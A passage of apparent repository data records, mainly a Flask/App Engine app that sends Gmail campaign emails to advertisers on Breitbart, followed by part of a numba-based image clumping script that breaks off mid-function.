Breitbart from your media buy.\n Will you please consider joining 700+ companies who have already blacklisted Breitbart? Please let me know. We would love to add you to the confirmed list!\n\n I hope to see the advertisements taken down,\n Sal\n \"\"\"\n\n poc_kayak_key = POC(name='Stephanie', email='[email protected]').put()\n Advertiser('Kayak', [poc_kayak_key]).put()\n" }, { "alpha_fraction": 0.7295082211494446, "alphanum_fraction": 0.7336065769195557, "avg_line_length": 21.18181800842285, "blob_id": "8dfbd1c468e1cda82c6d158339aa5ebf9f611cfe", "content_id": "8662cf31d4a4c8f684d46db68483c85bf05d0b91", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 244, "license_type": "no_license", "max_line_length": 66, "num_lines": 11, "path": "/admin/appengine_config.py", "repo_name": "VivaLaR/petition-companies", "src_encoding": "UTF-8", "text": "import os.path\nimport sys\n\n# This allows packages in local lib folder to be used by GAE\nsys.path.insert(0, os.path.join(os.path.dirname(__file__), 'lib'))\n\n\ndef patched_expanduser(path):\n return path\n\nos.path.expanduser = patched_expanduser\n" }, { "alpha_fraction": 0.6207064390182495, "alphanum_fraction": 0.6272838115692139, "avg_line_length": 26.00657844543457, "blob_id": "0d81eb5c2022e7cabee053b0e01c134595a34195", "content_id": "0dd33c6ae0cfecfc100a55a1a67a187f91a228de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4105, "license_type": "no_license", "max_line_length": 149, "num_lines": 152, "path": "/admin/main.py", "repo_name": "VivaLaR/petition-companies", "src_encoding": "UTF-8", "text": "from __future__ import print_function\n\nimport logging\nimport os\nimport uuid\n\nimport flask\nfrom shared import db\n\napp = flask.Flask(__name__)\napp.secret_key = str(uuid.uuid4())\n\nlogger = logging.getLogger(__name__)\n\nFILEPATH_CREDENTIALS = os.path.join(os.path.dirname(__file__), 'client_secret.json')\n# Comes from https://developers.google.com/identity/protocols/googlescopes#gmailv1\nSCOPE = ['https://www.googleapis.com/auth/gmail.send']\nDT_FORMAT = '%m-%d-%Y %H:%M'\n\napp.url_map.strict_slashes = False\n\n\[email protected]('/admin')\ndef index():\n\n return flask.redirect(flask.url_for('advertisees'))\n\n\[email protected]('/admin/advertisers')\ndef advertisers():\n\n advertisers = db.get_advertisers()\n\n print(advertisers)\n return flask.render_template('advertisers.html', advertisers=advertisers)\n\n\[email protected]('/admin/advertiser', methods=['GET', 'POST', 'DELETE'])\[email protected]('/admin/advertiser/<int:advertiser_id>', methods=['GET', 'POST', 'DELETE'])\ndef advertiser(advertiser_id=None):\n\n if flask.request.method == 'DELETE':\n db.delete_advertiser(advertiser_id)\n return '', 204\n\n if advertiser_id is not None:\n a = db.get_advertiser(advertiser_id)\n else:\n a = db.create_blank_advertiser()\n\n if flask.request.method == 'GET':\n return flask.render_template('advertiser.html', advertiser=a)\n else:\n advertiser_dict = flask.request.get_json()\n a.name = advertiser_dict['name']\n\n new_ = []\n changed = []\n deleted_poc_ids = [poc.id() for poc in a.pocs]\n for poc_id, poc_dict in advertiser_dict['pocs'].items():\n if poc_id != '':\n poc_id = int(poc_id)\n deleted_poc_ids.remove(poc_id)\n poc = db.create_poc()\n changed.append(poc)\n else:\n poc = db.create_poc()\n new_.append(poc)\n poc.name = poc_dict['name']\n poc.email = poc_dict['email']\n\n new_keys = db.put(new_)\n db.put(changed)\n db.delete(deleted_poc_ids, kind='POC')\n\n a.pocs = [x.key for x in changed] + new_keys\n\n a.put()\n\n return '', 204\n\n\[email protected]('/admin/advertisees')\ndef advertisees():\n\n advertisees = db.get_advertisees()\n\n return flask.render_template('advertisees.html', advertisees=advertisees)\n\n\[email protected]('/admin/advertisee/', methods=['GET', 'POST', 'DELETE'])\[email protected]('/admin/advertisee/<int:advertisee_id>', methods=['GET', 'POST', 'DELETE'])\ndef advertisee(advertisee_id=None):\n\n if flask.request.method == 'DELETE':\n db.delete_advertisee(advertisee_id)\n return '', 204\n\n if advertisee_id is not None:\n a = db.get_advertisee(advertisee_id)\n else:\n a = db.create_blank_advertisee()\n\n if flask.request.method == 'GET':\n advertisers = db.get_advertisers(a.advertisers)\n advertisers_not_associated = [x for x in db.get_advertisers() if x.key not in a.advertisers]\n return flask.render_template('advertisee.html', advertisee=a, advertisers=advertisers, advertisers_not_associated=advertisers_not_associated)\n else:\n advertisee_dict = flask.request.get_json()\n a.name = advertisee_dict['name']\n a.description = advertisee_dict['description']\n a.email = advertisee_dict['email']\n\n a.put()\n\n return '', 204\n\n\[email protected]('/admin/advertisee_advertiser', methods=['POST'])\ndef manage_advertisee_advertiser():\n\n json_dict = flask.request.get_json()\n method = json_dict['method']\n eid, rid = int(json_dict['advertisee_id']), int(json_dict['advertiser_id'])\n\n if method == 'delete':\n db.remove_advertiser(eid, rid)\n else:\n db.add_advertiser(eid, rid)\n\n return '', 204\n\n\[email protected]('/admin/insert')\ndef insert():\n\n from shared.db import insert_advertisexs\n insert_advertisexs()\n return 'Donezo'\n\n\[email protected]('/admin/insert/advertiser')\ndef insert_advertiser():\n\n from shared.db import insert_advertiser\n insert_advertiser()\n return 'Donezo'\n\n\nif __name__ == '__main__':\n\n app.run(host='127.0.0.1', port=8080, debug=True)\n" }, { "alpha_fraction": 0.7161290049552917, "alphanum_fraction": 0.7225806713104248, "avg_line_length": 30, "blob_id": "7f9f8f4d01a1da2f9075a9b59e3c175798040fd9", "content_id": "97a29cab271508a2f5f26ddbf33d761e1f5e2ccd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 155, "license_type": "no_license", "max_line_length": 66, "num_lines": 5, "path": "/user/appengine_config.py", "repo_name": "VivaLaR/petition-companies", "src_encoding": "UTF-8", "text": "import os.path\nimport sys\n\n# This allows packages in local lib folder to be used by GAE\nsys.path.insert(0, os.path.join(os.path.dirname(__file__), 'lib'))\n" }, { "alpha_fraction": 0.6447725296020508, "alphanum_fraction": 0.6523048877716064, "avg_line_length": 31.22330093383789, "blob_id": "b523e43c1f16496afc8989b068862bdea67bb58e", "content_id": "073b56f50f2e3ba35afc03c6351380f708983332", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3319, "license_type": "no_license", "max_line_length": 106, "num_lines": 103, "path": "/user/main.py", "repo_name": "VivaLaR/petition-companies", "src_encoding": "UTF-8", "text": "import logging\nimport os\nimport uuid\n\nimport flask\nimport httplib2\nfrom shared import db\nfrom oauth2client import client\nimport emails\n\napp = flask.Flask(__name__)\napp.secret_key = str(uuid.uuid4())\n\nlogger = logging.getLogger(__name__)\n\nFILEPATH_CREDENTIALS = os.path.join(os.path.dirname(__file__), 'client_secret.json')\n# Comes from https://developers.google.com/identity/protocols/googlescopes#gmailv1\nSCOPE = ['https://www.googleapis.com/auth/gmail.send']\nDT_FORMAT = '%m-%d-%Y %H:%M'\n\nKEY_EMAIL_DICT = 'eid_rids_dict'\nKEY_EMAIL_TXTS_DICT = 'email_txts_dict'\nKEY_OAUTH_ORIG_FUNC = 'original_func_name'\n\n\[email protected]('/')\ndef index():\n checked = flask.session.pop(KEY_EMAIL_DICT, default=None)\n advertisees = db.get_advertisees()\n return flask.render_template('index.html', advertisees=advertisees, checked=checked)\n\n\[email protected]('/login')\ndef login():\n\n if 'credentials' not in flask.session:\n flask.session[KEY_OAUTH_ORIG_FUNC] = login.__name__\n return flask.redirect(flask.url_for('oauth2callback'))\n\n return flask.redirect(flask.url_for('index'))\n\n\[email protected]('/email', methods=['GET', 'POST'])\ndef email():\n\n if flask.request.method == 'POST':\n eid_rids_dict = flask.request.form\n email_txts_dict = {k[6:]: eid_rids_dict.pop(k) for k in tuple(eid_rids_dict) if k[:6] == 'email_'}\n eid_rids_dict = {k: v.split(',') for k, v in eid_rids_dict.items()}\n\n if 'credentials' not in flask.session:\n flask.session[KEY_OAUTH_ORIG_FUNC] = email.__name__\n flask.session[KEY_EMAIL_DICT] = eid_rids_dict\n flask.session[KEY_EMAIL_TXTS_DICT] = email_txts_dict\n return flask.redirect(flask.url_for('oauth2callback'))\n else:\n eid_rids_dict = flask.session[KEY_EMAIL_DICT]\n email_txts_dict = flask.session[KEY_EMAIL_TXTS_DICT]\n\n http = _get_auth_http()\n num_sent = emails.send_messages(eid_rids_dict, http, email_txts_dict)\n\n return flask.redirect(flask.url_for('sent', num_emails_sent=num_sent))\n\n\[email protected]('/sent', methods=['GET', 'POST'])\ndef sent():\n\n num_emails_sent = flask.request.args.get('num_emails_sent', '')\n\n return flask.render_template('sent.html', num_emails_sent=num_emails_sent)\n\n\ndef _get_auth_http():\n credentials = client.OAuth2Credentials.from_json(flask.session['credentials'])\n h = credentials.authorize(httplib2.Http())\n\n return h\n\n\[email protected]('/oauth2callback')\ndef oauth2callback():\n \"\"\"\n Endpoint for both oauth steps.\n :return: Response to authorize or response to exchange auth code for access token.\n \"\"\"\n flow = client.flow_from_clientsecrets(FILEPATH_CREDENTIALS,\n scope=SCOPE,\n redirect_uri=flask.url_for('oauth2callback', _external=True))\n if 'code' not in flask.request.args:\n auth_uri = flow.step1_get_authorize_url()\n return flask.redirect(auth_uri)\n else:\n auth_code = flask.request.args.get('code')\n credentials = flow.step2_exchange(auth_code)\n flask.session['credentials'] = credentials.to_json()\n func_name = flask.session.get(KEY_OAUTH_ORIG_FUNC, 'index')\n return flask.redirect(flask.url_for(func_name))\n\n\nif __name__ == '__main__':\n\n app.run(host='127.0.0.1', port=8080, debug=True)\n" }, { "alpha_fraction": 0.6875, "alphanum_fraction": 0.7916666865348816, "avg_line_length": 15, "blob_id": "8fb08ab315c7cdd263dacc681168bf4e61595ae0", "content_id": "33675b0308e6687fe96fc6ac9ffbbdc9cb20bfbf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 48, "license_type": "no_license", "max_line_length": 24, "num_lines": 3, "path": "/requirements.txt", "repo_name": "VivaLaR/petition-companies", "src_encoding": "UTF-8", "text": "Flask==0.11.1\ngoogle-api-python-client\nhttplib2\n" }, { "alpha_fraction": 0.6551896333694458, "alphanum_fraction": 0.6561876535415649, "avg_line_length": 21.143646240234375, "blob_id": "187482e5be879fe1201e068743bcd40c40b9198d", "content_id": "5831110f19e13005c0970c9b79f6ade7424a78a9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4008, "license_type": "no_license", "max_line_length": 241, "num_lines": 181, "path": "/shared/db.py", "repo_name": "VivaLaR/petition-companies", "src_encoding": "UTF-8", "text": "import logging\n\nfrom google.appengine.ext import ndb\n\nimport models\n\nlogger = logging.getLogger(__name__)\n\n\ndef get_advertisers(keys=None):\n\n if keys is None:\n advertisers = list(models.Advertiser.query())\n else:\n if isinstance(keys, ndb.Key):\n advertisers = keys.get()\n else:\n advertisers = ndb.get_multi(keys)\n\n return advertisers\n\n\ndef create_blank_advertisee():\n\n advertisee = models.Advertisee()\n\n return advertisee\n\n\ndef create_blank_advertiser():\n\n advertisee = models.Advertiser()\n\n return advertisee\n\n\ndef get_advertisees():\n\n advertisers = list(models.Advertisee.query())\n\n return advertisers\n\n\ndef get_advertisee(id_):\n\n a = models.Advertisee.get_by_id(id_)\n\n return a\n\n\ndef get_advertiser(id_):\n\n a = models.Advertiser.get_by_id(id_)\n\n return a\n\n\ndef get_poc(id_):\n\n print(len(id_))\n poc = models.POC.get_by_id(id_)\n\n return poc\n\n\ndef create_poc():\n\n poc = models.POC()\n\n return poc\n\n\ndef put(models):\n\n if isinstance(models, ndb.Model):\n return models.put()\n else:\n return ndb.put_multi(models)\n\n\ndef get(specifiers, kind=None):\n\n if not isinstance(specifiers, (tuple, list)):\n if kind:\n specifiers = ndb.Key(kind, specifiers)\n return specifiers.get()\n\n if kind:\n specifiers = [ndb.Key(kind, x) for x in specifiers]\n\n return ndb.get_multi(specifiers)\n\n\ndef delete(specifiers, kind=None):\n\n if not isinstance(specifiers, (tuple, list)):\n specifiers = [specifiers]\n\n if kind:\n specifiers = [ndb.Key(kind, x) for x in specifiers]\n\n ndb.delete_multi(specifiers)\n\n\ndef remove_advertiser(advertisee_id, advertiser_id):\n\n a = get_advertisee(advertisee_id)\n\n k = ndb.Key(models.Advertiser, advertiser_id)\n\n a.advertisers.remove(k)\n\n a.put()\n\n\ndef add_advertiser(advertisee_id, advertiser_id):\n\n a = get_advertisee(advertisee_id)\n\n k = ndb.Key(models.Advertiser, advertiser_id)\n\n a.advertisers.append(k)\n\n a.put()\n\n\ndef delete_advertisee(id_):\n\n if id_ is not None:\n ndb.Key(models.Advertisee, id_).delete()\n\n\ndef delete_advertiser(id_):\n\n if id_ is not None:\n advertiser = get_advertiser(id_)\n to_delete = advertiser.pocs\n to_delete.append(advertiser.key)\n ndb.delete_multi(to_delete)\n\n to_put = []\n for advertisee in get_advertisees():\n try:\n advertisee.advertisers.remove(advertiser.key)\n except ValueError:\n pass\n else:\n to_put.append(advertisee)\n\n ndb.put_multi(to_put)\n\n\ndef insert_advertisexs():\n\n email_template_breitbart = \"\"\"\n Hey %s,\n\n I'm getting in touch with you as part of the Sleeping Giants campaign. Did you know that %s has ads appearing on Breitbart.com?\n Breitbart is widely known as a hate speech site, regularly distributing anti-Semitic, anti-Muslim, xenophobic and misogynist propaganda - and it's being propped up by ad revenues sent from companies like yours via 3rd party ad platforms.\n\n Is this something you support?\n\n If not, you can change this by contacting your ad agency and asking them to exclude Breitbart from your media buy.\n Will you please consider joining 700+ companies who have already blacklisted Breitbart? Please let me know. We would love to add you to the confirmed list!\n\n I hope to see the advertisements taken down,\n Sal\n \"\"\"\n\n breitbart_key = models.Advertisee(name='Breitbart', description='Hateful website with neonazi leader.', email=email_template_breitbart).put()\n poc_kayak_key = models.POC(name='Stephanie', email='[email protected]').put()\n kayak_key = models.Advertiser(name='Kayak', pocs=[poc_kayak_key]).put()\n breitbart = breitbart_key.get()\n breitbart.advertisers.append(kayak_key)\n breitbart.put()\n\n\ndef insert_advertiser():\n\n poc_uber_key = models.POC(name='Alex', email='[email protected]').put()\n models.Advertiser(name='Uber', pocs=[poc_uber_key]).put()\n" }, { "alpha_fraction": 0.5549026727676392, "alphanum_fraction": 0.5549026727676392, "avg_line_length": 24.448598861694336, "blob_id": "2f5a4c047400e40716b1c355885e9aa352d51ab0", "content_id": "e23359531d53f2fa4a2664e2092d082ad55ecc45", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2723, "license_type": "no_license", "max_line_length": 75, "num_lines": 107, "path": "/admin/static/advertisee.js", "repo_name": "VivaLaR/petition-companies", "src_encoding": "UTF-8", "text": "$(document).ready(function(){\n wireSaveButton();\n wireCloseButton();\n wireDeleteButton();\n\n wireDeleteAdvertiserButtons();\n wireAddAdvertiserButton();\n});\n\nfunction wireCloseButton() {\n $(\"#close-advertisee\").click(function () {\n window.location.href = url_index;\n });\n}\n\nfunction wireSaveButton() {\n $(\"#save-advertisee\").click(function () {\n var user_data = {};\n user_data['name'] = $(\"#advertisee-name\").html();\n user_data['description'] = $(\"#advertisee-description\").html();\n user_data['email'] = $(\"#advertisee-email\").html();\n\n console.log(user_data);\n\n $.ajax({\n type: 'POST',\n url: url_advertisee,\n data: JSON.stringify(user_data),\n contentType: \"application/json\",\n dataType: 'json',\n success: function(data, status, xhr){\n window.location.href = url_index;\n },\n error: function(xhr, status, error){\n console.log(\"Error\", xhr);\n },\n });\n });\n}\n\nfunction wireDeleteButton() {\n $(\"#delete-advertisee\").click(function () {\n $.ajax({\n type: 'DELETE',\n url: url_advertisee,\n contentType: \"application/json\",\n dataType: 'json',\n success: function (data, status, xhr) {\n window.location.href = url_index;\n },\n error: function (xhr, status, error) {\n console.log(\"Error\", xhr);\n },\n });\n });\n}\n\nfunction wireDeleteAdvertiserButtons() {\n $(\"button.delete-advertiser\").click(function (e) {\n\n var data = {};\n data['method'] = 'delete';\n data['advertisee_id'] = advertisee_key;\n data['advertiser_id'] = $(e.target).closest(\"tr\").attr('value');\n\n $.ajax({\n type: 'POST',\n url: url_delete_advertiser,\n data: JSON.stringify(data),\n contentType: \"application/json\",\n dataType: 'json',\n success: function(data, status, xhr){\n window.location.reload();\n },\n error: function(xhr, status, error){\n console.log(\"Error\", xhr);\n }\n }\n )\n })\n}\n\nfunction wireAddAdvertiserButton() {\n $(\"button#add-advertiser\").click(function () {\n\n var data = {};\n data['method'] = 'post';\n data['advertisee_id'] = advertisee_key;\n data['advertiser_id'] = $('select.advertiser').find(':selected').val();\n console.log($('select').find(':selected'));\n\n $.ajax({\n type: 'POST',\n url: url_delete_advertiser,\n data: JSON.stringify(data),\n contentType: \"application/json\",\n dataType: 'json',\n success: function(data, status, xhr){\n window.location.reload();\n },\n error: function(xhr, status, error){\n console.log(\"Error\", xhr);\n }\n }\n )\n })\n}\n" }, { "alpha_fraction": 0.8095238208770752, "alphanum_fraction": 0.8095238208770752, "avg_line_length": 20, "blob_id": "381d8307328b494ed1e3635af04d91c1b9f64107", "content_id": "f219e1c9dae6c677066c50a4395b36006e0957fe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 21, "license_type": "no_license", "max_line_length": 20, "num_lines": 1, "path": "/README.md", "repo_name": "VivaLaR/petition-companies", "src_encoding": "UTF-8", "text": "# petition-companies\n" }, { "alpha_fraction": 0.7049505114555359, "alphanum_fraction": 0.7049505114555359, "avg_line_length": 23, "blob_id": "f1caf252872ec2cded879b08c67cf665cbe99432", "content_id": "4a8cad924cd65ef8b23317a0192d8b37bbe08e60", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 505, "license_type": "no_license", "max_line_length": 65, "num_lines": 21, "path": "/admin/static/index.js", "repo_name": "VivaLaR/petition-companies", "src_encoding": "UTF-8", "text": "\n$(document).ready(function(){\n wireCreateClickHandler();\n wireRowClickHandlers(document);\n\n});\n\nfunction wireCreateClickHandler() {\n $(\"#create-button\").click(function () {\n window.location.href = url_advertisee_base;\n });\n}\n\nfunction wireRowClickHandlers(el) {\n $(el).find(\".advertisee\").click(visitAdvertiseeOnClick);\n}\n\nfunction visitAdvertiseeOnClick() {\n var row = $(this).closest(\"tr\")\n var url_visit = url_advertisee_base + row.attr('advertisee-id')\n window.location.href = url_visit\n}\n" } ]
13
pksw2016/DeathCross_backtested
https://github.com/pksw2016/DeathCross_backtested
abc9d0c7be5bbfce10b35a85f0cadbdae321876c
31869e03263c73d657419487cecc9e284aaa7ce2
c778c48f36ed2e345ca094b7860e06dd3cc3a5dd
refs/heads/master
2020-08-27T22:03:27.028989
2020-03-15T18:47:53
2020-03-15T18:47:53
217,499,729
0
1
null
null
null
null
null
[ { "alpha_fraction": 0.6017560362815857, "alphanum_fraction": 0.6193163990974426, "avg_line_length": 29.380952835083008, "blob_id": "7c68b537a54af8e41f0ff81726ba11910c3730a8", "content_id": "67aaac41244c47253c3ee1ee9723549b22c949c9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3189, "license_type": "no_license", "max_line_length": 110, "num_lines": 105, "path": "/BT_DeathCross_backtest.py", "repo_name": "pksw2016/DeathCross_backtested", "src_encoding": "UTF-8", "text": "import matplotlib\nmatplotlib.use('TkAgg')\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\n\nfrom backtest import Strategy, Portfolio\n\n\nclass MovingAverageCrossStrategy(Strategy):\n\n\n def __init__(self,name,bars,win_s,win_l):\n self.name = name\n self.bars = bars\n self.wins = win_s\n self.winl = win_l\n\n def generate_signals(self):\n sig = pd.DataFrame(index = self.bars.index)\n sig['signal'] = 0\n sig[self.wins] = pd.rolling_mean(self.bars,self.wins,min_periods=1)\n sig[self.winl] = pd.rolling_mean(self.bars,self.winl,min_periods=1)\n sig['signal'] = np.where(sig[self.wins]>sig[self.winl],1,-1)\n\n return sig\n\n\nclass MarketOnClosePortfolio(Portfolio):\n\n\n def __init__(self,name,no_of_hold,sig,bars,initial_capital):\n self.name = name\n self.no_of_hold = no_of_hold\n self.bars = bars\n self.sig = sig\n self.initial_capital = initial_capital\n self.positions = self.generate_positions()\n\n def generate_positions(self):\n positions = pd.DataFrame(index = self.sig.index)\n positions[self.name] = self.sig['signal']*self.no_of_hold\n\n return positions\n\n def backtest_portfolio(self):\n pos_diff = self.positions[self.name].diff()\n initial_sig_val = self.positions.iloc[0,0]\n pos_diff.iloc[0] = initial_sig_val\n\n prt = pd.DataFrame(index=self.sig.index)\n prt['holding'] = self.positions[self.name].mul(self.bars[self.name],axis=0)\n prt['cash'] = self.initial_capital - (pos_diff.mul(self.bars[self.name], axis=0).cumsum())\n\n prt['total'] = prt['holding'] + prt['cash']\n prt['TR%'] = prt['total'].pct_change()\n return prt\n\n\nif __name__ == '__main__':\n\n df = pd.read_csv('data_new.csv',index_col='Date',parse_dates=True).dropna()\n df.columns = ['AAPL', 'WMT', 'TSLA', 'GE', 'AMZN', 'DB', 'SPX']\n\n security_name = 'AAPL' # you can also use any of these ['AAPL', 'WMT', 'TSLA', 'GE', 'AMZN', 'DB', 'SPX']\n no_of_hold = 1000\n\n bars = df[[security_name]]\n\n #first step is to generate signals\n mac = MovingAverageCrossStrategy(security_name,bars,50,200)\n sig = mac.generate_signals()\n\n #generate portfolios\n portfolio = MarketOnClosePortfolio(security_name,no_of_hold,sig,bars,initial_capital=100000.0)\n returns = portfolio.backtest_portfolio()\n\n Comb = pd.DataFrame(index=returns.index)\n Comb['DCMA'] = returns['TR%']\n Comb['LO'] = (bars[security_name]*no_of_hold+100000).pct_change()\n Comb.dropna(inplace=True)\n Comb['LO_cum'] = np.cumprod(1 + Comb['LO']) - 1\n Comb['DCMA_cum'] = np.cumprod(1 + Comb['DCMA']) - 1\n\n\n fsize = 9\n plt.subplot(3, 1, 1)\n plt.plot(Comb[['LO_cum','DCMA_cum']])\n plt.legend(['Long_only','Death Cross MA'])\n #Comb['DCMA_cum'].plot(secondary_y=True)\n #plt.legend(['Death_CrossMA'])\n plt.title('Returns', fontsize=fsize)\n\n plt.subplot(3, 1, 2)\n plt.plot(sig[[50, 200]])\n plt.legend(['50','200'])\n plt.title('Moving Averages', fontsize=fsize)\n\n plt.subplot(3, 1, 3)\n plt.plot(sig['signal'])\n plt.title('signals', fontsize=fsize)\n\n plt.show()\n\n print(Comb)" } ]
1
ubarsc/lcrimageutils
https://github.com/ubarsc/lcrimageutils
8c8aafaf165f40b62c6853d735d307cae7120a77
d9bcfea891463676b00433fd61882258e338474b
38a5aece7a6af8fa1eae342067d0b658aa128252
refs/heads/master
2020-09-09T23:18:41.855452
2015-12-16T00:12:14
2015-12-16T00:12:14
221,593,908
0
1
null
null
null
null
null
[ { "alpha_fraction": 0.6446560621261597, "alphanum_fraction": 0.6514285802841187, "avg_line_length": 34.11152267456055, "blob_id": "2c2eb31de7e52a969b2d2c7f27fdbf7b1cffbe0e", "content_id": "e6d0396e3559eb0efa34d8ccd21cd96d32651b25", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9450, "license_type": "no_license", "max_line_length": 84, "num_lines": 269, "path": "/pyutils/bin/clump_lowmem.py", "repo_name": "ubarsc/lcrimageutils", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\n# This file is part of 'gdalutils'\n# Copyright (C) 2014 Sam Gillingham\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\nimport os\nimport sys\nimport stat\nimport shutil\nimport optparse\nimport tempfile\nfrom rios import applier, cuiprogress\nimport numpy\nfrom numba import autojit\nfrom lcrimageutils import mdl, history\n\nclass CmdArgs(object):\n \"\"\"\n Class for processing command line arguments\n \"\"\"\n def __init__(self):\n self.parser = optparse.OptionParser()\n self.parser.add_option('-i', '--infile', dest='infile',\n help='Input image file to clump')\n self.parser.add_option('-o', '--output', dest='output',\n help=\"Output clumped image\")\n self.parser.add_option('-t', '--tempdir', dest='tempdir',\n default='.',\n help=\"Temp directory to use (default=%default)\")\n\n (options, self.args) = self.parser.parse_args()\n self.__dict__.update(options.__dict__)\n\n if (self.infile is None or self.output is None):\n self.parser.print_help()\n sys.exit(1)\n\ndef riosClump(info, inputs, outputs, otherinputs):\n \"\"\"\n Called from RIOS - clumps each individual tile separately\n (but with globally unique ids)\n \"\"\"\n # create valid mask that is True where data!=ignore\n ignore = info.getNoDataValueFor(inputs.infile)\n if ignore is not None:\n valid = inputs.infile[0] != ignore\n else:\n # no ignore val set - all valid\n valid = numpy.ones_like(inputs.infile[0], dtype=numpy.bool)\n\n out, clumpId = mdl.clump(inputs.infile[0], valid, otherinputs.clumpId)\n\n outputs.outfile = mdl.makestack([out])\n otherinputs.clumpId = clumpId\n\n@autojit\ndef recodeInternal(clump, oldvalue, newvalue):\n ysize, xsize = clump.shape\n for y in range(ysize):\n for x in range(xsize):\n value = clump[y, x]\n if value == oldvalue:\n clump[y, x] = newvalue\n\n@autojit\ndef mergeInternal(clump, recode, dontrecode, thisy, thisx, othery, otherx):\n \"\"\"\n This was a closure of numbaMerge until it seemed there was a big\n memory leak. This seems to work much better.\n \"\"\"\n thisClumpId = clump[thisy, thisx]\n otherClumpId = clump[othery, otherx]\n # don't bother if they already have the same id \n # and don't bother recoding 0's\n if (thisClumpId != otherClumpId and thisClumpId != 0 and \n otherClumpId != 0):\n if not dontrecode[otherClumpId]:\n # only if this one isn't marked to be recoded\n recode[otherClumpId] = recode[thisClumpId]\n # recode while we go\n recodeInternal(clump, otherClumpId, thisClumpId)\n # mark as not to be recoded\n dontrecode[thisClumpId] = True\n elif not dontrecode[thisClumpId]:\n # ok try the other way around\n recode[thisClumpId] = recode[otherClumpId]\n recodeInternal(clump, thisClumpId, otherClumpId)\n dontrecode[otherClumpId] = True\n else:\n # need to re run the whole thing\n # both are marked as un-recodable\n return 1\n return 0\n\n@autojit\ndef numbaMerge(infile, clump, recode, dontrecode, processBottom, processRight):\n \"\"\"\n Merge the clumps using a slightly complicated algorithm\n \"\"\"\n ysize, xsize = infile.shape\n nFailedRecodes = 0\n thisx = 0\n otherx = 0\n thisy = 0\n othery = 0\n\n if processBottom:\n # this isn't the bottom most block so run along the bottom\n # 2 lines and decide if clumps need to be merged\n thisy = ysize - 2\n othery = ysize - 1\n # start one pixel in and finish one pixel in\n for thisx in range(0, xsize-1):\n otherx = thisx\n if infile[thisy, thisx] == infile[othery, otherx]:\n # they should be the same clump - they have the same DNs\n nFailedRecodes += mergeInternal(clump, recode, dontrecode, \n thisy, thisx, othery, otherx)\n\n # same for the right hand margin if we aren't the rightmost block\n if processRight:\n thisx = xsize - 2\n otherx = xsize - 1\n for thisy in range(0, ysize-1):\n othery = thisy\n if infile[thisy, thisx] == infile[othery, otherx]:\n # they should be the same clump\n nFailedRecodes += mergeInternal(clump, recode, dontrecode, \n thisy, thisx, othery, otherx)\n\n return nFailedRecodes\n\ndef riosMerge(info, inputs, outputs, otherinputs):\n \"\"\"\n Determine which clumps need to be merged\n and update otherinputs.recode\n \"\"\"\n # overlap is set to one\n # we only need to inspect the right and bottom edge\n # and only if we aren't rightmost or bottom most\n xblock, yblock = info.getBlockCount()\n xtotalblocks, ytotalblocks = info.getTotalBlocks()\n processBottom = yblock != (ytotalblocks-1)\n processRight = xblock != (xtotalblocks-1)\n\n # recode this clump with the up to date recode table\n # so we are working with the right clumpids\n clump = otherinputs.recode[inputs.tileclump[0]]\n\n # merge the clumps (updates clump, otherinputs.recode\n # and otherinputs.dontrecode)\n nFailedRecodes = numbaMerge(inputs.infile[0], clump, \n otherinputs.recode, otherinputs.dontrecode, processBottom, processRight)\n\n # keep a track\n otherinputs.nFailedRecodes += nFailedRecodes\n\n # output the merged clumps\n outputs.clump = mdl.makestack([clump])\n\ndef doClump(infile, outfile, tempDir):\n \"\"\"\n Do the clumping\n \"\"\"\n inputs = applier.FilenameAssociations()\n inputs.infile = infile\n\n # create temporary file with the clumps done on a per tile basis\n outputs = applier.FilenameAssociations()\n fileh, tmpClump = tempfile.mkstemp('.kea', dir=tempDir)\n os.close(fileh)\n outputs.outfile = tmpClump\n\n # start at clumpid 1 - will be zeros where no data\n otherinputs = applier.OtherInputs()\n otherinputs.clumpId = 1\n\n controls = applier.ApplierControls()\n controls.progress = cuiprogress.GDALProgressBar()\n # don't need stats for this since it is just temporary\n controls.calcStats = False\n\n applier.apply(riosClump, inputs, outputs, otherinputs, controls=controls)\n\n # run it on the input image again, but also read in the tile clumps\n inputs.tileclump = tmpClump\n\n # overlap of 1 so we can work out which neighbouring\n # clumps need to be merged\n controls.overlap = 1\n # make thematic\n # but still don't do stats - only when we finally know we succeeded\n controls.thematic = True\n\n outputs = applier.FilenameAssociations()\n\n finished = False\n while not finished:\n\n # it creates the output file as it goes\n # just create temp at this stage until we know it has succeeded\n fileh, tmpMerged = tempfile.mkstemp('.kea', dir=tempDir)\n os.close(fileh)\n\n outputs.clump = tmpMerged\n\n otherinputs.nFailedRecodes = 0\n # ok now we have to merge the clumps\n # create a recode table\n recode = numpy.arange(otherinputs.clumpId, dtype=numpy.uint32) \n otherinputs.recode = recode\n\n # create a boolean array with clumps not to recode\n # obviously if you recode 39 -> 23 you don't want 23 being recoded to \n # something else\n dontrecode = numpy.zeros_like(recode, dtype=numpy.bool)\n otherinputs.dontrecode = dontrecode\n\n applier.apply(riosMerge, inputs, outputs, otherinputs, controls=controls)\n\n # clobber the last temp input\n 